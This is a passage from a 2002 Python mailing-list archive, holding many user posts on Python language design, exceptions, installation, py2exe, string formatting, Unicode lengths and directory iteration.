instance and you'll get a TypeError instead. Cheers, M. -- US elections For those of you fearing that the rest of the world might be making fun of the US because of this: Rest assured, we are. -- http://www.advogato.org/person/jameson/diary.html?start=12 From rdsteph at earthlink.net Sun May 12 15:47:13 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Sun, 12 May 2002 19:47:13 GMT Subject: Core Python Programming References: <337619fa.0205121107.19594329@posting.google.com> Message-ID: <3CDEC6AF.6080804@earthlink.net> I have a review of it on my web site at http://www.awaretek.com and I really liked this book, it is excellent. You can also compare it to 18 other Python book reviews i have posted there. Yeah, I know, I nee dto get a life...;;-))) I am curretnly studying (not just reading) PyQt Programming and also "Jython for Java programmers". I am looking forard to Alex Martelli's books, and you can be sure I will write reviews of all of them ;-))) From max at alcyone.com Fri May 17 20:25:00 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 17 May 2002 17:25:00 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <mailman.1021563929.29487.python-list@python.org> <3CE55E8B.1B80EBE3@alcyone.com> <mailman.1021671870.10847.python-list@python.org> <ac4058$cib$1@peabody.colorado.edu> <3CE58757.5146706E@alcyone.com> <ac45u1$gba$1@peabody.colorado.edu> Message-ID: <3CE59F5C.B35CAC28@alcyone.com> Fernando P?rez wrote: > Language design and implementation is always a balancing act: you want > abstract, flexible and general features but you want them to be > realistically > implementable by normal humans in a finite amount of time. Where to > draw the > line is always a decision that involves as much gut and intuition as > it does > 'science'. So far I think the python team has done an admirable job of > finding a great balance. IMHO for sets, making them immutable would > fall too > far in the direction of 'practicality' and lose too much in the > 'flexibility > and power of abstraction' department. But again, that's my opinion. Of course; we're just disagreeing on where that line should be drawn in this case. What would, then, be a reasonable implementation of a set (with mutable objects) in Python? The immutable keys in Python dictionaries already sets a precedent for this effort being on the far side of practicality. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From peter at engcorp.com Fri May 24 20:03:44 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 May 2002 20:03:44 -0400 Subject: New to Python... References: <aclf3u$qmp40$1@ID-49758.news.dfncis.de> <Xns92185DA28F8FDrobuselesspythoncom@24.28.95.158> Message-ID: <3CEED4E0.4F066135@engcorp.com> Rob Andrews wrote: > > Python and C++ are both powerful object-oriented programming languages. > Python is a whole lot easier to learn, although C++ seems to make a good > deal more sense after one has spent some time with Python. Ambiguity Alert!! The above could be read as "C++ makes a good deal more sense [than Python] after one has spent some time with Python" or it could be read "C++ makes a good deal more sense [than it does at first] after one has spent some time with Python". For sure the latter interpretation was intended. :-) -Peter From sholden at holdenweb.com Fri May 10 11:01:15 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 11:01:15 -0400 Subject: What Exceptions are there? (was: "a better input") References: <aaiu6e$pfr$1@bob.news.rcn.net> <080520021314438230%alexis.layton@post.harvard.edu> <AroC8.39639$zW3.427130@news1.tin.it> <lklmatvdfn.fsf@pc150.maths.bris.ac.uk> <1_tC8.40668$zW3.442583@news1.tin.it> <abe9us$kn5$1@slb6.atl.mindspring.net> <100520021023459171%pecora@anvil.nrl.navy.mil> <hQQC8.10635$Po6.194@rwcrnsc52.ops.asp.att.net> Message-ID: <skRC8.58957$m26.51820@atlpnn01.usenetserver.com> "Emile van Sebille" <emile at fenx.com> wrote ... > Louis M. Pecora > > Ok, you knew there was an exception of that type (ValueError), but is > > there a way to get a list of exceptions in a Python module or in the > > main Python core? There are probably zillions. > > dir(__builtins__) gives you a good start. > But, unfortunately, if you mean "what exceptions a particular piece of code might raise" then the answer is a plain "no". Unlike Java, which pretty much insists that you have to either handle exceptions that your code might throw or declare that you yourself throw them, Python takes a very relaxed attitude to all this. There is a PEP which specifies interfaces, and possible exception conditions may be part of that (it's too long ago since I read it), but until that becomes reality it's unlikely things will go any farther. You'll also get a better idea of the *standard* exceptions with >>> import exceptions >>> dir(exceptions) ['ArithmeticError', 'AssertionError', 'AttributeError', 'DeprecationWarning', 'EOFError', 'EnvironmentError', 'Exception', 'FloatingPointError', 'IOError', 'ImportError', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'NotImplementedError', 'OSError', 'OverflowError', 'OverflowWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TypeError', 'UnboundLocalError', 'UnicodeError', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__doc__', '__name_ _'] Most module authors now declare their own exceptions to be a subclass of exceptions.Exception, but some legacy code is still using *string* exceptions, and there is no requirement that programmer-defined exceptions must subclass the main Exception class. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From max at alcyone.com Wed May 8 02:57:02 2002 From: max at alcyone.com (Erik Max Francis) Date: Tue, 07 May 2002 23:57:02 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <3CD8CC3E.B9E44E3F@alcyone.com> Tim Roberts wrote: > How have other people handled this? Do you just copy all of > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x > into a > separate directory and grumble every time you have to change the #! > line in > your scripts? I tried updating all of the #! lines in the Red Hat > scripts, > but this, of course, blows as soon as you do an rpm upgrade of a > Python-based package. Install Python 2.x into /usr/local. If you want to be slick, put a symlink in /usr/local/bin/python1.5 to /usr/bin/python. Now when you write a script that requires 2.x, make the bangpath /usr/local/bin/python2.2; when it requires, make it /usr/local/bin/python1.5. When you don't care, use /usr/local/bin/python, /usr/bin/python, or even /usr/bin/env python. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From cliechti at gmx.net Mon May 20 14:16:33 2002 From: cliechti at gmx.net (Chris Liechti) Date: 20 May 2002 20:16:33 +0200 Subject: why the code error? References: <180fb736.0205191850.4aaee16@posting.google.com> Message-ID: <Xns9214CE95E3CDAcliechtigmxnet@62.2.16.82> lunxian at yahoo.com (lunxian) wrote in news:180fb736.0205191850.4aaee16 at posting.google.com: > i'm a newbie of python. i encounter a problem in my programming. > here is my program. when it's running, a IOError always raised. > why? and how can i get more detail error message of the exception? > > > import os > import sys > > def Parser(filename): > lines = None > try: > fsock = file("forparser.py","r",0) unless you have a very good reason, leve the ",0" away... fsock = file("forparser.py","r") (and "r" is the default, if you want to save typing) > try: > lines = fsock.readlines() > finally: > fsock.close() > except IOError: import traceback traceback.print_exc() > print IOError.__str__ > return > > for line in lines: > print line > > if __name__ == "__main__": > Parser("c:\forparser.py") -- Chris <cliechti at gmx.net> From peter at engcorp.com Thu May 9 01:22:15 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 01:22:15 -0400 Subject: Still on py2exe (is it free?) References: <bWSy8.29406$8D3.782924@news1.tin.it> <pan.2002.05.08.22.16.43.848393.16147@uol.com.br> Message-ID: <3CDA0787.8FD15A56@engcorp.com> synthespian wrote: > > I want to write a small application for enteral nutrition for a > hospital. I want to do it in Python, but I don't want to keep explaining > to every one of the Windoze people there that they'll allways need to > have Python installed. > So I figured that py2exe seem ideal for a stand-alone app. It makes > things easier on the Windrones. > * But * I'll only go ahead and do it if py2exe is free software. Is it? Hmm... try Google first? Follow the first link found here to get the answer for yourself: http://www.google.ca/search?q=py2exe+license -Peter From mlh at vier.idi.ntnu.no Tue May 14 06:09:28 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Tue, 14 May 2002 10:09:28 +0000 (UTC) Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> Message-ID: <slrnae1oio.d5b.mlh@vier.idi.ntnu.no> In article <mailman.1021198403.21335.python-list at python.org>, Oleg Broytmann wrote: >Hello. Little amusing offtopic. ;) > > There is a nice idead pointed to by /. - a file with a program(s) that >solves a Perl Golf job. The amusing part is that the file contains the >program in 4 different languges! [snip] Hm. I remember seing a program that could be run in 6 different languages once (including PostScript)... I don't remember where I saw it, though -- it was on some obscure ftp server somewhere. (Or perhaps it was even gopher -- don't remember.) -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From tdelaney at avaya.com Thu May 30 00:58:03 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 14:58:03 +1000 Subject: Why no open(f, "w").write()? Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A32E@natasha.auslabs.avaya.com> > From: Donn Cave [mailto:donn at drizzle.com] > > You're describing a language other than C Python. In C Python, you > *may* close files and rely on other kinds of finalizations through > the reference counting garbage collector, and the result is as timely > as if you did it explicitly. That's finalization as it ought to be, > and it's a shame that other languages compromise on that. Lots of > people don't think it's important, but then the majority of > programmers > think it's OK that their programming language requires them to keep > track of memory in the same way. I would be very happy for this to be the case. However, CPython is not a language where you can rely on timely finalisation. 1. The documentation explicitly states that you cannot. Anything else is an implementation artifact. 2. The thing you expect to be finalised may have another reference somewhere. Are you 100% sure that no function you've passed it to has held a reference to it in a cache? 3. Your object may be in a cycle. This will result in a non-timely finalisation. 4. Your object may be in a cycle where Python explicitly punts and doesn't run the finalisers. Tim Delaney From news at dellah.anu.edu.au Fri May 31 01:02:01 2002 From: news at dellah.anu.edu.au (Iain Truskett) Date: Fri, 31 May 2002 15:02:01 +1000 Subject: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> <83adqsis0w.fsf@panacea.canonical.org> Message-ID: <B91D40E9.E37A%news@dellah.anu.edu.au> in article 83adqsis0w.fsf at panacea.canonical.org, Kragen Sitaker at kragen at pobox.com wrote on 22/05/02 5:02 PM: > 2. Perl programmers have a lot of basic problems with things like > failing to open files, leaving variables uninitialized, and > accidentally clobbering global variables that are inadvertently shared > between different parts of a program. Well, you get that when people don't use warnings or strict. And they don't check their error conditions. Some of this is being remedied in Perl 6. See www.perl.com for the Apocalypses and Exegeses of the design process (should be a new pair out next week, covering regular expressions). PHP programmers have it worse with variables that they don't initialise. At least if they don't use the newer features of the language. Using the automatic variable assignation from the HTTP parameters and not defining any variables you are using can lead to variables having values which they aren't meant to. Can lead to security problems. Perl at least lets you use a taint mode so that unchecked input is not usable until it's been checked. I'm only a beginner in Python, so I'm afraid I can't compare there. Probably covered in a FAQ (I'd check, but my ISP's external access appears to have died - so all I can play with is the news server and the mail server). The thing is, you can program badly in any language - some just protect you a bit more. Not 'use'ing the warnings or strict pragmas in Perl is like not checking the values of pointers in C, or your array indices. > Python catches these errors and > tells you about them, so you don't need to post to a newsgroup to find > out what went wrong. Fewer basic questions means the advanced > questions constitute a greater portion of the traffic. Well, Perl catches the file errors, and it lets you handle them however you like. If you don't handle them, then it won't. It can also catch the others - you just have to ask it to. Sometimes you may not want it to. [My apologies if this is weirdly formatted - I'm having to use Outlook Express rather than my preferred slrn+vim] cheers, -- Iain. From skip at pobox.com Sat May 18 00:43:41 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 17 May 2002 23:43:41 -0500 Subject: Python w/Forth Runtime???? In-Reply-To: <3CE5CD61.AAA28676@tundraware.com> References: <3CE5AFD3.32D59F@tundraware.com> <slrnaebdtp.oor.gerhard@lilith.my-fqdn.de> <3CE5C208.5F41AD8A@tundraware.com> <m3elgauogv.fsf@chvatal.cbbrowne.com> <3CE5CD61.AAA28676@tundraware.com> Message-ID: <15589.56317.355801.303961@12-248-41-177.client.attbi.com> >> > The overal article is about the dangers of locking into a single >> > programming paradigm (like OO) for everything and that real world >> > problems require multiple *simultaneous* paradigms for reasonable >> > solutions. I think Python is almost alone in trying to incroporate >> > that very idea in the language. >> >> Python is not alone in this. >> >> Common Lisp conspicuously supports multiple simultaneous paradigms. Tim> Could you expand on this a bit? It has been a *very* long time Tim> since I even looked at Lisp, let along programmed it... My feeble take on things: Various Lisp dialects support OO (CLOS, etc). I can't imagine any don't beat the pants off Python as far as functional programming is concerned. I'm sure there are interfaces to various relational databases available. Event-driven programming is also possible ("when this happens, call this"). Programming using exceptions (catch/throw?, condition-case, save-excursion, etc, instead of try/except). As in Python, you're not constrained to any one paradigm, though its functional tendencies may dominate. For that matter, C++ supports all these paradigms as well. It's just that its OO support is emphasized. Oh, wait minute. So does Perl. And Ruby. And Tcl. And Java. I think the thing about Python is not that it supports this multi-paradigm approach all that much better than any other language, it's that its faithful don't get too hung up on any one of the paradigms it does support. Of course, this thread ignores issues of clean syntax, batteries included, and powerful builtin data structures that also help give Python a leg up on most/all the competition. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From kseehof at neuralintegrator.com Fri May 31 17:53:44 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 31 May 2002 14:53:44 -0700 Subject: Generating unique numbers? In-Reply-To: <3CF7EBC8.4080802@verio.net> Message-ID: <EFEFIHAINIINNELLHFAIIEFNCHAA.kseehof@neuralintegrator.com> > Is there a good algorithm for generating unique numbers > (ints, specifically) that can be used as object identifiers? > > I am discounding the obvious newid += 1 because I will need > to merge different sets, and while I may have some number > overlap, using a simple count for each object would > guarantee that I have the maximum number of clashes. > > Specifically, I will be using these numbers as dictionary keys. > > Thanks, > > VanL I don't know your exact situation, but it sounds like you can use my_dict[id(obj)] = obj I use this pattern frequently to represent object sets. - Ken Seehof From news at lindbergs.org Thu May 9 10:02:45 2002 From: news at lindbergs.org (VanL) Date: Thu, 09 May 2002 08:02:45 -0600 Subject: Best way to represent an outline? Message-ID: <3CDA8185.8080305@lindbergs.org> Hello, I'm trying to figure out the best way to represent an outline, but I'm not sure what to use for each node: A dict: This is probably the best fit, with the name serving as a key to another dict with different types of content. But the problem is that an outline is ordered, where dicts are inherently unordered. A class: This would probably work, but I don't want the types of items that I will include within each class instance to necessarily be pre-defined. So it seems like it would be difficult to loop over the instance and discover everything in a particular node. Plus, even if I used the __dict__, I still have the ordering problem described above. A list: This satisfies the ordering property needed for an outline, but I'm not sure where I would stick the variable content of each node. Any suggestions? TIA, Van From Christopher.Saunter at durham.ac.uk Mon May 20 06:31:07 2002 From: Christopher.Saunter at durham.ac.uk (Christopher Saunter) Date: Mon, 20 May 2002 10:31:07 +0000 (UTC) Subject: feasibility of building a video editing program in python References: <d8837597.0205181434.794b2de6@posting.google.com> Message-ID: <acaj9b$eoe$1@sirius.dur.ac.uk> abe burmeister (google at abe1x.com) wrote: <snip - video work in Python...> : I'm interested in building a program that: : 1 - manipulates and sequences static images and displays them on : screen at video playback speeds. : 2 - exports sequences as video : 3 - has a GUI that allows for real time manipulation Hi Abe, I've been using Python to build a program in our lab that centres around video processing. Images are aquired from a (scientific) firewire camera, displayed and processed, and the results sent over a network. The program uses C code for most stages (aquisition, colour mapping, processing etc) with Python gluing it all together and providing a GUI. I'm using the wxPython GUI toolkit under win32, and it appears that this is where the limit in displayed frame rate is occouring (~15 fps) - I plan to move the disply code into C++ at some point, ie extend the underlying wxWindows guts of wxPython. One major issue with Python for this sort of work is the fact that Python doesn't use multiple processors on an SMP machine ;-( I gather you can have multiple threads of custom C coded extensions running simultanously, but I have yet to look into this. You can probably do this, but you will need to know C, and a high end machine i a must. Dispite what I said about the SMP, a dual processor machine will still make life as a whole nicer, from a development point of view, as well as responsive mouse cursors! Also, speaking from some unpleasant experience, if you will be working on a win32 platform, and are doing this sort of work, using NT4/2000/XP is highly preferable to using 95/98/ME. You really, really, really do not want to use 9x, it is not worth the hastle! (Guess who has no choice but to develop for a 98 machine ;-) I suspect for the 'real time' display part, you will end up using mainly C code glued together with Python, at which point perhaps it is time to flip things and think about a C program using Python as a scripting language for GUI building and control? Finally, you may or may not be aware of Virtual Dub (www.virtualdub.org) - an excelent GPL wib32 video processing program - this may provide some good source if your code is going to be GPL'd. Interested to hear what decisions you reach, and good luck! --- cds ---- : I'm interested in building a program that: : 1 - manipulates and sequences static images and displays them on : screen at video playback speeds. : 2 - exports sequences as video : 3 - has a GUI that allows for real time manipulation : 4 - can be controlled with a MIDI interface H : 4 - can be controlled with a MIDI interface : Is something that python can do? If so is python the right tool to : accomplish this, or are there more optimal languages? : thanks : -abe From fabella at free.fr Thu May 30 10:22:47 2002 From: fabella at free.fr (Franck Abella) Date: Thu, 30 May 2002 16:22:47 +0200 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? Message-ID: <ad5c62$77l$1@wanadoo.fr> Hi, Math problem: ----------- 1 ------------- try this >>>> i=7/3.0 >>>> i result >>>> 7.3333333333333335 (first problem it should be equal to 7.3333333333333334) ----------- 2 -------------- try this >>>> i = 7.3335 >>>> j result >>>>7.3334999999999999 (false) ------------ 3 ------------- try this >>>> j = 6.2 >>>> j result >>>> 6.2000000000000002 I would like to know if yo have those problems Thanks Frank From skip at pobox.com Fri May 31 12:47:30 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 31 May 2002 11:47:30 -0500 Subject: semi-concatenated strings In-Reply-To: <Pine.OSX.4.43.0205311206500.1417-100000@localhost> References: <ad5vp6$17kc@drn.newsguy.com> <mailman.1022791249.9251.python-list@python.org> <ad84d70chf@drn.newsguy.com> <Pine.OSX.4.43.0205311206500.1417-100000@localhost> Message-ID: <15607.43298.530119.510670@12-248-41-177.client.attbi.com> Steve> The above *ought* to work. The hanging "+" alone doesn't do the Steve> trick, but the hanging "(" does -- the parser knows it needs a Steve> matching ")" : Ah, yes. Ignore my previous post then with the extra (...) Skip From emailoffline at hotmail.com Fri May 10 13:22:44 2002 From: emailoffline at hotmail.com (Q) Date: Fri, 10 May 2002 17:22:44 GMT Subject: Python Service & PGP References: <QIfC8.129$lc.32@nwrddc03.gnilink.net> <zAIC8.12280$d7.4191169@newssrv26.news.prodigy.com> Message-ID: <ElTC8.1008$5J3.738@nwrddc01.gnilink.net> Hi David That would be great. I know that there are limitations with using os.popen within a GUI environment. But it doesn't work as a NT Service either. I tried several wrappers from Microsoft SRVANY, AtYourService, and PrismMicrosys and all of which has the same results. It doesn't shell out to command line. I want to convert a Python Script to run as an NT Service. The script looks for files in an incoming directory and moves them to an outbound directory for PGP encryption. I followed http://support.microsoft.com/default.aspx?scid=kb;EN-US;q137890 It starts the service and it moves the files to the outbound directory. However it fails to encrypt or decrypt. I know the encrypt string works because I have it logged to file which I used to test in DOS command shell. It seems that the SRVANY wrapper fails at the line where the Python script shells out to command line to run the PGP script. The shell out command is "os.popen(strEncrypt)" strEncrypt is defined as a PGP string to encrypt. "dsavitsk" <dsavitsk at e-coli.net> wrote in message news:zAIC8.12280$d7.4191169 at newssrv26.news.prodigy.com... > i have a project that is a python service that interacts with other modules, > so it might be helpful. it will be at http://ecpspooler.sourceforge.net one > of these days ... the start of the documentation is there now. if you are > interested, i'll send you the code. > > -d > > > "Q" <emailoffline at hotmail.com> wrote in message > news:QIfC8.129$lc.32 at nwrddc03.gnilink.net... > > I want to convert a Python Script to run as an NT Service. The script uses > > an infinite while loop to poll the incoming directory for files. It them > > moves them to the outbound directory and encrypts them using PGP. > > > > I followed > > > > http://support.microsoft.com/default.aspx?scid=kb;EN-US;q137890 > > > > This utilitiy starts the service and it moves the files to the outbound > > directory. However it fails to encrypt or decrypt. I know the encrypt > string > > works because I have it logged to file which I used to test in DOS command > > shell. The script also works completely when executed manually. > > > > It seems that the SRVANY wrapper fails at the line where the Python script > > shells out to command line to run the PGP script. > > > > The shell out command is > > > > "os.popen(strEncrypt)" > > > > strEncrypt is defined as a PGP string to encrypt. > > > > Can anyone provide ideas? > > > > Thanks. > > > > > > From kragen at pobox.com Mon May 13 23:46:45 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 23:46:45 -0400 Subject: How do I check if a pid is running? References: <mailman.1021072399.16706.python-list@python.org> Message-ID: <833cwvjsre.fsf@panacea.canonical.org> "Noah" <noah at noah.org> writes: > Thanks, this seems to work. In fact the man page for kill > says that signal 0 can be used to check the valifity of a pid. Of course! How logical! Just the other day I was thinking, "How can I test whether or not a process exists?" The very first thing that occurred to me was, "I wonder if the man page for kill(2) suggests a way to do that?" Not. From nbatada at stanford.edu Tue May 7 15:19:23 2002 From: nbatada at stanford.edu (Nizar Batada) Date: Tue, 7 May 2002 12:19:23 -0700 Subject: variable length print format In-Reply-To: <a2972632.0205071050.9e68201@posting.google.com> References: <a2972632.0205071050.9e68201@posting.google.com> Message-ID: <Pine.GSO.4.44.0205071217150.22965-100000@saga12.Stanford.EDU> string.join(map(lambda x: "%s: %s" % (x[0],x[1]), zip(range(1,len(List)), List))) On 7 May 2002, les ander wrote: > Hi, > i have a variable length list of numbers. > i would like to print them out with indicies in front as shown below: > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > one obvious solution is that i do > for i in range(List): > print "%s:%s" % (i+1,List[i]) > > however i have a lot of these and would like it to be faster so i > tried doing this > > formatstr=" %s:%s " * len(List) > > print formatstr % (range(1,len(List)+1), List) > > but it did not work. > > is there a way to do this another way? > les > ------------------------------------------------------------------- N i z a r B a t a d a nbatada at stanford.edu ------------------------------------------------------------------- Never let your schooling interfere with your education--Mark Twain -------------------------------------------------------------------- From skip at pobox.com Thu May 9 18:14:23 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 9 May 2002 17:14:23 -0500 Subject: Multibyte Character Surport for Python In-Reply-To: <slrnadlmm2.5kg.huaiyu@gauss.almadan.ibm.com> References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <mailman.1020874095.7055.python-list@python.org> <j4znzar2ov.fsf@informatik.hu-berlin.de> <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <m3wuudk9xo.fsf@mira.informatik.hu-berlin.de> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <slrnadlmm2.5kg.huaiyu@gauss.almadan.ibm.com> Message-ID: <15578.62655.609654.582379@12-248-41-177.client.attbi.com> Huaiyu> If a character is two bytes, what would len() report? Depends on the type of the argument. If it's a Unicode object, the number of characters. If it's a plain string, the number of bytes: >>> u"\N{Greek CAPItal letter alpha}" u'\u0391' >>> len(u"\N{Greek CAPItal letter alpha}") 1 >>> len(u"\N{Greek CAPItal letter alpha}".encode("utf-8")) 2 Huaiyu> Would it change depending on how the unicode is encoded? Yes, depending on what you pass to len(). If it's a plain string it definitely depends on the encoding: >>> u"a" u'a' >>> u"a".encode("utf-16") '\xff\xfea\x00' >>> u"a".encode("utf-8") 'a' >>> len(u"a".encode("utf-16")) 4 >>> len(u"a".encode("utf-8")) 1 >>> len(u"a") 1 -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs From mertz at gnosis.cx Mon May 6 02:31:01 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Mon, 06 May 2002 02:31:01 -0400 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> <vgeA8.40079$8D3.1169254@news1.tin.it> <aas5uv$v1e$0@216.39.172.122> <JShA8.40793$8D3.1193018@news1.tin.it> <ab1sf9$mt8$0@216.39.172.122> <J45B8.5411$CN3.205220@news2.tin.it> <m27kmhvp16.fsf@mycroft.actrix.gen.nz> Message-ID: <lMi18kKkXoiY092yn@gnosis.cx> |Alex Martelli wrote: |> funs = [ (lambda : x) for x in seq ] Paul Foley <see at below> replied: |I'd expect that to return a list of as many functions as there are |items in seq, that all return the last value in seq. I.e., if seq is |[1, 2, 3, 4, 5], you'd get 5 functions that all return 5, not |functions that return 1, 2, 3, 4, and 5 respectively, as I think |you're expecting I'm sure the Martellibot was just playing a little joke on readers, to see if they catch the actual spelling: funs = [(lambda x=x: x) for x in seq] Btw. Foley has slightly misstated what the first one does. It doesn't return "the last value in the seq"... except in the sense that listcomps have (sloppy) side effects in the iterated variables. What 'funs' really is is a list of functions that return 'x' (whatever it happens to be at the time of the call). It need not be called 'x': >>> funs = [(lambda : y) for x in seq] >>> funs[0]() Traceback (most recent call last): File "<stdin>", line 1, in ? File "<stdin>", line 1, in <lambda> NameError: global name 'y' is not defined >>> y = 22 >>> funs[0]() 22 Yours, Lulu... -- _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/ _/_/ ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~ _/_/ _/_/ The opinions expressed here must be those of my employer... _/_/ _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them! _/_/ From skip at pobox.com Thu May 2 09:05:09 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 2 May 2002 08:05:09 -0500 Subject: Continuation after 100 header in httplib In-Reply-To: <ud14e0imrobd45@corp.supernews.com> References: <ucudihfo3n5v38@corp.supernews.com> <b0f083db.0205011308.6618003@posting.google.com> <ud14e0imrobd45@corp.supernews.com> Message-ID: <15569.14725.753653.710577@12-248-41-177.client.attbi.com> Bob> Where should I send the patch? Use the patch submission page reachable from http://sf.net/projects/python/ (Click "Patches", then "Submit New".) -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) From cliechti at gmx.net Mon May 27 14:49:48 2002 From: cliechti at gmx.net (Chris Liechti) Date: 27 May 2002 20:49:48 +0200 Subject: Python program distribution revisited References: <MPG.175c24a5538e5d7a989687@news.direcpc.com> Message-ID: <Xns921BD43F66B56cliechtigmxnet@62.2.16.82> Mark C <mchalkley at notthispart.direcway.com> wrote in news:MPG.175c24a5538e5d7a989687 at news.direcpc.com: > I looked at starting to use Python instead of Perl for custom data > conversion programs a couple years ago, but discarded the idea because > of the difficulty in distributing standalone Python apps to production > machines. > > Have there been any significant improvements to Python in this regard in > the interim? Is this an area ActiveState has addressed, for example, as > they did with their Perl PDK? I'd really like to use Python in the > future, but the ability to easily produce an exe that's (relatively) > small in size, and requires no additional files, is an absolute > necessity. there is McMillans Installer an py2exe. both are realy easy to use. both normaly create an exe containing all the scripts, but the additional DLLs are separate in the same directory. thats verry well suited for most cases. if you absolutely need one file, either Installer can produce a self extracting, executing and cleaning up archive or you take freeze (or similar) and link all the libs staticaly. the later can go from beeing very easy (python only + simple extensions) to beeing very hard when many external libs are used (like GUIs etc) chris -- Chris <cliechti at gmx.net> From whisper at oz.net Wed May 29 22:56:41 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 29 May 2002 19:56:41 -0700 Subject: fonts in idle In-Reply-To: <iUyI8.99502$Ze.15252@afrodite.telenet-ops.be> Message-ID: <GCEDKONBLEFPPADDJCOEGEHNDFAA.whisper@oz.net> You probably need to install additional X fonts on your laptop. IIRC, those depend on the resolution (dots per inch, not x-pixels/y-pixels) of your display, so copying them from your desktop to your laptop is not likely to work. I suspect a search for "x fonts" on yahoo or google would yield some sources. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of pakman > Sent: Monday, May 27, 2002 16:01 > To: python-list at python.org > Subject: fonts in idle > > > i use the idle-environment to experiment with python, but the fonts are > ugly. I work on a redhat 7.3 distro, installed it on a desktop > and a laptop > (ibm-iSeries 1400). I don't have the problem on the desktop machine, > although i installed from the same cdroms. What can i do? > > tx > > -- > http://mail.python.org/mailman/listinfo/python-list From pyth at devel.trillke.net Wed May 22 15:40:36 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 22 May 2002 21:40:36 +0200 Subject: reading directory entries one by one In-Reply-To: <00ed01c201b8$8c3fd900$0301a8c0@josiah.dalkescientific.com>; from adalke@mindspring.com on Wed, May 22, 2002 at 11:46:04AM -0600 References: <00ed01c201b8$8c3fd900$0301a8c0@josiah.dalkescientific.com> Message-ID: <20020522214036.F26513@prim.han.de> [reposted to the list, because you didn't have private intentions?!] Andrew Dalke wrote: > > right, but if your application only *iterates* over entries then there > > is nothing to understand from the user-side (except for ill cases :-). > > No, if *all* applications only iterate over entires then there is > nothing to understand. If some want a list and some want iteration, > then a list solves both problems. yes. But if the *problem* is that you need to iterate then an iterator is the next best thing :-) > I know people more often want the > list than the iteration. And I've yet to see a real problem with > returning a full list. on my machine with several thousand directories and 100K+ files i certainly use an iterator for a recursive directory walk. > >What i also appreciate about generators/iterators is that > >they generally decrease the *latency* for getting the first entry. > > I made 5,000 files in a directory. Time to listdir the directory is > 0.02 seconds. I can't imagine needing higher latency. I can and do. > Though since I had just created the directory the information is in cache. If > it wasn't in cache, well, things would be different all over the board. exactly. > For example, with iterators if you read a filename, do a lot of > work, read a filename, then you might have to reseek the directory > information again as its out of disk cache. While with listdir its all > in memory. If this memory was used for accelarating other (parts of) programs then it was good that we didn't preallocate memory. Think of it on the scaling level of 1000 running processes on a heavy webserver. premature-optimization-is-of-course-evil-ly yours, holger From tim.one at comcast.net Mon May 27 22:42:55 2002 From: tim.one at comcast.net (Tim Peters) Date: Mon, 27 May 2002 22:42:55 -0400 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: <3CED31A6.5090102@rogers.com> Message-ID: <LNBBLJKPBEHFEDALKOLCCEGFPIAA.tim.one@comcast.net> [Mike C. Fletcher] > ... > Apparently the area of long-int-optimisation is just too well-trod to > elicit much interest among the general populace. Long-int speedups didn't interest the general public ten years ago, either. It's a specialty 